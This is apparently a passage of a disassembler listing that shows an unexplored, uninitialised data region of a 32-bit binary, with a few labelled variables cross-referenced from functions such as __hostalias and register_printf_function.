		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807A758	db ? ; unexplored	; DATA XREF: __hostalias+178o
					; __hostalias+188o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
byte_807A857	db ?			; DATA XREF: __hostalias+16Bw
dword_807A858	dd ?			; DATA XREF: register_printf_function+13o
					; register_printf_function+24w
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
dword_807AC58	dd ?			; DATA XREF: sub_8054E54+1Cw
					; sub_8054EC8+44r ...
word_807AC5C	dw ?			; DATA XREF: sub_80552B0+36w
					; sub_80552B0+9Bo
unk_807AC5E	db ? ; unexplored	; DATA XREF: sub_80552B0+46o
					; sub_80552B0+88o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
unk_807AC6C	db ? ; unexplored	; DATA XREF: sub_80566A4+6o
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
		db ? ; unexplored
